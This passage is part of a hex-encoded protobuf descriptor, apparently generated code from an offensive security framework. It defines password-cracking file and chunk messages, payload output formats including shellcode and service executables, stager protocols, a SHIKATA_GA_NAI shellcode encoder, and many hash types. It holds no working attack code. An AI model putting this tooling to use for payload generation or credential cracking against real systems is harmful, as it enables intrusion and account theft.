0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, + 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, + 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, + 0x0a, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, + 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, + 0x61, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, + 0x61, 0x32, 0x32, 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, + 0x70, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, + 0x65, 0x64, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, + 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, + 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, + 0x18, 0x64, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, + 0x52, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, + 0x4e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, + 0x0a, 0x0c, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, + 0x0a, 0x0a, 0x53, 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x53, 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, + 0x0a, 0x45, 0x58, 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, + 0x07, 0x53, 0x45, 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, + 0x49, 0x52, 0x44, 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, + 0x54, 0x43, 0x50, 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, + 0x09, 0x0a, 0x05, 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, + 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, + 0x45, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, + 0x08, 0x0a, 0x04, 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, + 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, + 0x04, 0x4e, 0x4f, 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, + 0x54, 0x41, 0x5f, 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, + 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, + 0x00, 0x12, 0x08, 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, + 0x48, 0x41, 0x31, 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, + 0x34, 0x10, 0x94, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, + 0x10, 0xf8, 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, + 0xb0, 0x54, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, + 0x0d, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, + 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, + 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, + 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, + 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, + 0xf0, 0x2e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, + 0x36, 0x10, 0xd8, 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, + 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, + 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, + 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, + 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, + 0xf4, 0x35, 0x12, 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, + 0x08, 0x48, 0x41, 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, + 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, + 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, + 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, + 0x8b, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, + 0x10, 0xd0, 0x8c, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, + 0x4c, 0x10, 0xd4, 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, + 0xf4, 0x4e, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, + 0x45, 0x10, 0x46, 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, + 0x36, 0x4c, 0x45, 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, + 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, + 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, + 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, + 0x4c, 0x45, 0x10, 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, + 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, + 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, + 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, + 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, + 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, + 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, + 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, + 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, + 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, + 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, + 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, + 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, + 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, + 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, + 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, + 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, + 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, + 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, + 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, + 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, + 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, + 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, + 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, + 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, + 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, + 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, + 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, + 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, + 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, + 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, + 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, + 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, + 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, + 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, + 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, + 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, + 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, + 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, + 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, + 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, + 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, + 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, + 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, + 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, + 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, + 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, + 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, + 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, + 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, + 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, + 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, + 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, + 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, + 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, + 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, + 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, + 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, + 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, + 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, + 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, + 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, + 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, + 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, + 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, + 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, + 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, + 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, + 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, + 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, + 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, + 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, + 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, + 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, + 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, + 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, + 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, + 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, + 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, + 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, + 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, + 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, + 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, + 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, + 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, + 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, + 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, + 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, + 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, + 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, + 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, + 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, + 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, + 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, + 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, + 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, + 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, + 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, + 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, + 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, + 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, + 0x0c, 0x0a, 0x07, 